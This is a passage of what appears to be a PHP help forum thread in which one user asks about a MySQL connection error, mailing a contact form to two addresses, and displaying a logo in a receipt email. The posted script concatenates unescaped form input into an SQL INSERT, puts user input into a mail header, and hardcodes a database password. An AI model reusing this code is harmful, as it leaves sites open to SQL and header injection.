  15. I runned this registration code on godaddy hosting with no problems, now I run the same code on ippower and give this message " Lost connection to MySQL server during query in ......." here is the config.php code <?php $dbhost='****'; $dbusername='****'; $dbuserpass='***'; $dbname='****'; // connect to the mysql database server. mysql_connect ($dbhost, $dbusername, $dbuserpass); mysql_select_db($dbname) or die('I cannot select the database because: ' . mysql_error()); ?> any idea why, thanks
  16. Hello how can I add another e-mail address, when the users fills the form I want the info to go to 2 e-mail addresses, this code is sending only to one $toAddress="carlos@allstate.com"; $subject="Allstate Contact Form"; $recipientSubject="Allstate Contact Form"; $receiptMessage = "Thank you ".$Name." Our Representative will contact you as soon as possible.<br/><br/>" ."Best Regards.<br/><br/>"; thanks.
  17. that was part of the script, this is the complete one is working fine but the image don't show, just the link. <? $name=$_POST['name']; $company=$_POST['company']; $email=$_POST['email']; $bphone=$_POST['bphone']; $address_1=$_POST['address_1']; $address_2=$_POST['address_2']; $city=$_POST['city']; $state=$_POST['state']; $zip=$_POST['zip']; $country=$_POST['country']; $cu_industry=$_POST['cu_industry']; $cu_role=$_POST['cu_role']; $cu_howhear=$_POST['cu_howhear']; $catalogID1=$_POST['catalogID1']; $catalogID2=$_POST['catalogID2']; $catalogID3=$_POST['catalogID3']; $urgency=$_POST['urgency']; $comments=$_POST['comments']; $sv_4=$_POST['sv_4']; //---------VALIDATION--------> if($email){ } else{ $error.=""; } if($error==""){ echo "Thank you! Your Samples, will be mailed to you immediately."; $mailContent="--------Contact--------\n" ."Name: ".$name."\n" ."Company: ".$company."\n" ."Address: ".$address_1."\n" ."City State zip: ".$city."\n" ."Phone: ".$bphone."\n" ."Email: ".$email."\n"; //---------------------------------- $toAddress="mario@allstateprint.com"; $subject="Direct Mail Free Samples"; $recipientSubject="Allstate Direct Mail Free Samples"; $receiptMessage = "Thank you ".$name." Your free sample kit will arrive in 3 to 7 days .\n\n\nHere is what you submitted to us:\n\n" ."Name: ".$name."\n" ."Company: ".$company."\n" ."Address: ".$address_1."\n" ."City State zip: ".$city."\n" ."Phone: ".$bphone."\n" ."Email: ".$email."\n\n" ."Best Regards.\n\n" ."<img src='http://www.allstateprint.com/nwsimgs/contact_logo.jpg'><br/>" ."791 Paulison Ave\n" ."Clifton, NJ 07011\n" ."Tel. 973.473.0700\n"; //---------------------------------- mail($email, $recipientSubject, $receiptMessage,"From:$toAddress"); //---------------------------------- mail($toAddress,$subject,$mailContent,"From:$email"); $connection=mysql_connect('loco', $user = "directmail", $pass = "locoloco") or die("Unable to connect!"); mysql_select_db("directmail") or die("Unable to select database!"); $query="INSERT INTO freesamples ( name, company, email, bphone, address_1, address_2, city, state, zip, country, cu_industry, cu_role, cu_howhear, catalogID1, catalogID2, catalogID3, urgency, comments, sv_4) VALUES( '".$name."', '".$company."', '".$email."', '".$bphone."', '".$address_1."', '".$address_2."', '".$city."', '".$state."', '".$zip."', '".$country."', '".$cu_industry."', '".$cu_role."', '".$cu_howhear."', '".$catalogID1."', '".$catalogID2."', '".$catalogID3."', '".$urgency."', '".$comments."', '".$sv_4."')"; $result=mysql_query($query) or die("Error in query:".mysql_error()); mysql_close($connection); } else{ print "Sorry, but the form cannot be sent until the fields indicated are filled out completely - <br>\n"; print "$error<br>\n"; print "<br>\n"; print "<br>\n"; print "Please use your \"Back\" button to return to the form to correct the omissions. Thank you.<br>\n"; } ?>
  18. hello, this is a text that appear in users e-mail, how can I make the image shown on the e-mail, the way is here don't work, thanks $receiptMessage = "Thank you ".$name." Your free sample kit will arrive in 3 to 7 days .\n\n\nHere is what you submitted to us:\n\n" ."Name: ".$name."\n" ."Company: ".$company."\n" ."Address: ".$address_1."\n" ."City State zip: ".$city."\n" ."Phone: ".$bphone."\n" ."Email: ".$email."\n\n" ."Best Regards.\n\n" ."img src='http://www.allstateprint.com/nwsimgs/contact_logo.jpg'\n" ."791 Paulison Ave\n" ."Clifton, NJ 07011\n" ."Tel. 973.473.0700\n";
  19. I have tried, but I've failed, here are the scripts I've been using, please feel free to edit so they are efficent, and work correctly.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.